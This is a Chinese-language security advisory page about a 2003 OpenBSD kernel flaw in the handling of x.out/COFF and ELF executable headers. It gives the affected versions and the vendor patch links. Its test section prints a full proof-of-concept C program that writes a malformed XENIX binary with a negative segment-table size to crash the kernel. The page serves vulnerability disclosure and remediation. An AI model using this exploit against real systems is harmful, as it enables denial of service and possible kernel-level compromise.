信息提供: | 安全公告(或线索)提供热线:51cto.editor@gmail.com |
漏洞类别: | 设计错误 |
攻击类型: | 嵌入恶意代码 |
发布日期: | 2003-11-04 |
更新日期: | 2003-11-17 |
受影响系统: | OpenBSD OpenBSD 3.4 OpenBSD OpenBSD 3.3 OpenBSD OpenBSD 3.2 OpenBSD OpenBSD 3.1 OpenBSD OpenBSD 3.0 OpenBSD OpenBSD 2.9 OpenBSD OpenBSD 2.8 |
安全系统: | 无 |
漏洞报告人: | Georgi Guninski (guninski@guninski.com) |
漏洞描述: | BUGTRAQ ID: 8978 OpenBSD是一款开放源代码操作系统。 OpenBSD在处理部分可执行文件时存在问题,本地攻击者可以利用这个漏洞可能以内核权限执行任意恶意指令。 漏洞问题是由于执行二进制程序时没有对程序头字段值进行完整性检查,攻击者构建恶意二进制程序并执行,可导致内核崩溃。根据目前调查情况,此漏洞看起来可以以内核上下文执行任意指令。 问题存在于"ibcs2_exec.c" line 619 of 738 --83%-- col 1-8: /* read in segment table */ xs = (struct xseg *)malloc(xep->xe_segsize, M_TEMP, M_WAITOK); error = vn_rdwr(UIO_READ, epp->ep_vp, (caddr_t)xs, 从上看来malloc会返回NULL,另一个额外难题是: "exec_elf.c" line 792 of 827 --95%-- col 6-20 np = (Elf_Note *)malloc(ph->p_filesz, M_TEMP, M_WAITOK); |
测试方法: | 警 告 #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <stdio.h> /* $OpenBSD: ibcs2_exec.h,v 1.3 2002/03/14 01:26:50 millert Exp $ */ /* $NetBSD: ibcs2_exec.h,v 1.4 1995/03/14 15:12:24 scottb Exp $ */ /* * Copyright (c) 1994, 1995 Scott Bartram * All rights reserved. * * adapted from sys/sys/exec_ecoff.h * based on Intel iBCS2 * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * 3. The name of the author may not be used to endorse or promote products * derived from this software without specific prior written permission * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #ifndef _IBCS2_EXEC_H_ #define _IBCS2_EXEC_H_ /* * COFF file header */ struct coff_filehdr { u_short f_magic; /* magic number */ u_short f_nscns; /* # of sections */ long f_timdat; /* timestamp */ long f_symptr; /* file offset of symbol table */ long f_nsyms; /* # of symbol table entries */ u_short f_opthdr; /* size of optional header */ u_short f_flags; /* flags */ }; /* f_magic flags */ #define COFF_MAGIC_I386 0x14c /* f_flags */ #define COFF_F_RELFLG 0x1 #define COFF_F_EXEC 0x2 #define COFF_F_LNNO 0x4 #define COFF_F_LSYMS 0x8 #define COFF_F_SWABD 0x40 #define COFF_F_AR16WR 0x80 #define COFF_F_AR32WR 0x100 /* * COFF system header */ struct coff_aouthdr { short a_magic; short a_vstamp; long a_tsize; long a_dsize; long a_bsize; long a_entry; long a_tstart; long a_dstart; }; /* magic */ #define COFF_OMAGIC 0407 /* text not write-protected; data seg is contiguous with text */ #define COFF_NMAGIC 0410 /* text is write-protected; data starts at next seg following text */ #define COFF_ZMAGIC 0413 /* text and data segs are aligned for direct paging */ #define COFF_SMAGIC 0443 /* shared lib */ /* * COFF section header */ struct coff_scnhdr { char s_name[8]; long s_paddr; long s_vaddr; long s_size; long s_scnptr; long s_relptr; long s_lnnoptr; u_short s_nreloc; u_short s_nlnno; long s_flags; }; /* s_flags */ #define COFF_STYP_REG 0x00 #define COFF_STYP_DSECT 0x01 #define COFF_STYP_NOLOAD 0x02 #define COFF_STYP_GROUP 0x04 #define COFF_STYP_PAD 0x08 #define COFF_STYP_COPY 0x10 #define COFF_STYP_TEXT 0x20 #define COFF_STYP_DATA 0x40 #define COFF_STYP_BSS 0x80 #define COFF_STYP_INFO 0x200 #define COFF_STYP_OVER 0x400 #define COFF_STYP_SHLIB 0x800 /* * COFF shared library header */ struct coff_slhdr { long entry_len; /* in words */ long path_index; /* in words */ char sl_name[1]; }; #define COFF_ROUND(val, by) (((val) + by - 1) & ~(by - 1)) #define COFF_ALIGN(a) ((a) & ~(COFF_LDPGSZ - 1)) #define COFF_HDR_SIZE \ (sizeof(struct coff_filehdr) + sizeof(struct coff_aouthdr)) #define COFF_BLOCK_ALIGN(ap, value) \ (ap->a_magic == COFF_ZMAGIC ? COFF_ROUND(value, COFF_LDPGSZ) : \ value) #define COFF_TXTOFF(fp, ap) \ (ap->a_magic == COFF_ZMAGIC ? 0 : \ COFF_ROUND(COFF_HDR_SIZE + fp->f_nscns * \ sizeof(struct coff_scnhdr), COFF_SEGMENT_ALIGNMENT(ap))) #define COFF_DATOFF(fp, ap) \ (COFF_BLOCK_ALIGN(ap, COFF_TXTOFF(fp, ap) + ap->a_tsize)) #define COFF_SEGMENT_ALIGN(ap, value) \ (COFF_ROUND(value, (ap->a_magic == COFF_ZMAGIC ? COFF_LDPGSZ : \ COFF_SEGMENT_ALIGNMENT(ap)))) #define COFF_LDPGSZ 4096 #define COFF_SEGMENT_ALIGNMENT(ap) 4 #define COFF_BADMAG(ex) (ex->f_magic != COFF_MAGIC_I386) #define IBCS2_HIGH_SYSCALL(n) (((n) & 0x7f) == 0x28) #define IBCS2_CVT_HIGH_SYSCALL(n) (((n) >> 8) + 128) struct exec_package; int exec_ibcs2_coff_makecmds(struct proc *, struct exec_package *); /* * x.out (XENIX) */ struct xexec { u_short x_magic; /* magic number */ u_short x_ext; /* size of extended header */ long x_text; /* ignored */ long x_data; /* ignored */ long x_bss; /* ignored */ long x_syms; /* ignored */ long x_reloc; /* ignored */ long x_entry; /* executable entry point */ char x_cpu; /* processor type */ char x_relsym; /* ignored */ u_short x_renv; /* flags */ }; /* x_magic flags */ #define XOUT_MAGIC 0x0206 /* x_cpu flags */ #define XC_386 0x004a /* 386, word-swapped */ /* x_renv flags */ #define XE_V5 0xc000 #define XE_SEG 0x0800 #define XE_ABS 0x0400 #define XE_ITER 0x0200 #define XE_VMOD 0x0100 #define XE_FPH 0x0080 #define XE_LTEXT 0x0040 #define XE_LDATA 0x0020 #define XE_OVER 0x0010 #define XE_FS 0x0008 #define XE_PURE 0x0004 #define XE_SEP 0x0002 #define XE_EXEC 0x0001 /* * x.out extended header */ struct xext { long xe_trsize; /* ignored */ long xe_drsize; /* ignored */ long xe_tbase; /* ignored */ long xe_dbase; /* ignored */ long xe_stksize; /* stack size if XE_FS set in x_renv */ long xe_segpos; /* offset of segment table */ long xe_segsize; /* segment table size */ long xe_mdtpos; /* ignored */ long xe_mdtsize; /* ignored */ char xe_mdttype; /* ignored */ char xe_pagesize; /* ignored */ char xe_ostype; /* ignored */ char xe_osvers; /* ignored */ u_short xe_eseg; /* ignored */ u_short xe_sres; /* ignored */ }; /* * x.out segment table */ struct xseg { u_short xs_type; /* segment type */ u_short xs_attr; /* attribute flags */ u_short xs_seg; /* segment selector number */ char xs_align; /* ignored */ char xs_cres; /* ignored */ long xs_filpos; /* offset of this segment */ long xs_psize; /* physical segment size */ long xs_vsize; /* virtual segment size */ long xs_rbase; /* relocation base address */ u_short xs_noff; /* ignored */ u_short xs_sres; /* ignored */ long xs_lres; /* ignored */ }; /* xs_type flags */ #define XS_TNULL 0 /* unused */ #define XS_TTEXT 1 /* text (read-only) */ #define XS_TDATA 2 /* data (read-write) */ #define XS_TSYMS 3 /* symbol table (noload) */ #define XS_TREL 4 /* relocation segment (noload) */ #define XS_TSESTR 5 /* string table (noload) */ #define XS_TGRPS 6 /* group segment (noload) */ #define XS_TIDATA 64 #define XS_TTSS 65 #define XS_TLFIX 66 #define XS_TDNAME 67 #define XS_TDTEXT 68 #define XS_TDFIX 69 #define XS_TOVTAB 70 #define XS_T71 71 #define XS_TSYSTR 72 /* xs_attr flags */ #define XS_AMEM 0x8000 /* memory image */ #define XS_AITER 0x0001 /* iteration records */ #define XS_AHUGE 0x0002 /* unused */ #define XS_ABSS 0x0004 /* uninitialized data */ #define XS_APURE 0x0008 /* read-only (sharable) segment */ #define XS_AEDOWN 0x0010 /* expand down memory segment */ #define XS_APRIV 0x0020 /* unused */ #define XS_A32BIT 0x0040 /* 32-bit text/data */ /* * x.out iteration record */ struct xiter { long xi_size; /* text/data size */ long xi_rep; /* number of replications */ long xi_offset; /* offset within segment to replicated data */ }; #define XOUT_HDR_SIZE (sizeof(struct xexec) + sizeof(struct xext)) int exec_ibcs2_xout_makecmds(struct proc *, struct exec_package *); #endif /* !_IBCS2_EXEC_H_ */ int main(int ac,char **av) { int fd; struct xexec xp; struct xext xep; char exe[10]; char fil[]="./vvc"; fd=open(fil,O_CREAT|O_RDWR,0700); if (fd==-1) {perror("open");return 1;} memset(&xp,0,sizeof(xp)); memset(&xep,0,sizeof(xep)); memset(exe,'v',sizeof(exe)); xp.x_magic = XOUT_MAGIC; xp.x_cpu = XC_386; xp.x_renv = XE_EXEC; xp.x_ext = sizeof(xep); xep.xe_segsize = -1; write(fd,&xp,sizeof(xp)); write(fd,&xep,sizeof(xep)); write(fd,exe,sizeof(exe)); printf("Now exec %s\n",fil); } |
解决方法: | 厂商补丁: OpenBSD ------- 目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载: OpenBSD OpenBSD 3.3: OpenBSD Upgrade 010_exec.patch ftp://ftp.openbsd.org/pub/OpenBSD/patches/3.3/common/010_exec.patch OpenBSD OpenBSD 3.4: OpenBSD Upgrade 005_exec.patch ftp://ftp.openbsd.org/pub/OpenBSD/patches/3.4/common/005_exec.patch |
|
· 中国黑客超强X档案 第2.. · 中国黑客超强X档案 第2.. · 中国黑客超强X档案 第2.. · Windows年底再现图片漏.. · MBSA本地审核策略建议 · 年终岁末,注意病毒给.. |
· 中国黑客超强X档案 第1.. · 中国黑客超强X档案 第1.. · 中国黑客超强X档案 第1.. · Windows XP发现零日漏洞 · 一场漏洞引发的戏剧讨.. · 在分层架构下寻找java .. |
|
|||
| · OSPF路由协议专栏 · 思科路由器产品 · 华为路由器产品 · 路由器模拟器 · AIX操作系统管理应用(.. · 思科路由器配置 · 路由器组网解决方案 · 路由器密码恢复 |
· 无线路由器故障处理 · 路由故障处理手册 · 路由器访问控制列表(AC.. · 路由器的安全配置与安.. · 无线路由器配置 · 路由器技巧 · 华为路由器配置 · 路由器配置基础 |
||
|
|||
| · Java基础教程 · VPN技术 · SQL Server 2005全解 · ARP攻击防范与解决方案 · SOA 面向服务架构 · SQL Server 2005全解 · Java编程开发手册 · 三层交换技术专题 |
· SQL Server入门到精通 · Windows Server 2003企.. · Windows远程桌面应用 · C#技术开发指南 · VPN技术 · Solaris 10 配置管理 · C#技术开发指南 · Windows操作系统安装 |
||
|
|||
| · VPN技术 · ARP攻击防范与解决方案 · SQL Server 2005全解 · Java基础教程 · SQL Server入门到精通 · SQL Server 2005全解 · SOA 面向服务架构 · Java编程开发手册 |
· C#技术开发指南 · 三层交换技术专题 · C#技术开发指南 · Windows远程桌面应用 · Windows Server 2003企.. · 邮件服务器专题 · wimax技术与趋势 · Windows操作系统安装 |
||
| ·DB2 Viper快速入门 ·DB2 9数据库的镜像分割与.. |
·将XML应用程序从DB2 8.x.. ·DB2 9中的pureXML:如何.. |
| ·服务器中的“傻瓜机”在.. ·盖茨也喜欢登录Youtube看.. |
· · |
| · 职场冲浪(之八):让感.. ·职场冲浪(之七):潜心.. |
·人生如鞋 ·职场冲浪(之六):从离梦最.. |
| ·将职业教育职业化 - 各IT.. ·思科交换机上实现MAC地址.. |
·关于51CTO合作出书中的职.. ·OSPF动态路由协议入门简介 |
| · NGN:下一代网络 · 网络访问中断大排查 · FTTx光纤接入 |
· 平凡黑客讲述精彩人生(.. · 平凡黑客讲述精彩人生(.. · 平凡黑客讲述精彩人生(.. |
| · C++是垃圾语言?! · 2007年IT界七大抄袭事件 · Java实用开发全集 |
· 解析Ajax开发框架 走进A.. · 基于Google Maps与Ajax.. · 基于Google Maps与Ajax.. |
| · Ubuntu 中文开源频道 · Solaris基础知识入门 · 微软正式发布英文版Wind.. |
· 服务器基础知识入门 · Rambus第二?看全缓冲内.. · 服务器节能对比测试:AM.. |
| · 甲骨文Oracle 11g正式发.. · Oracle数据库开发之PL/S.. · Oracle数据库开发基础教.. |
· 存储2006,一个并购的大.. · IDC宣布浪潮蝉联存储市.. · 双机热备技术 |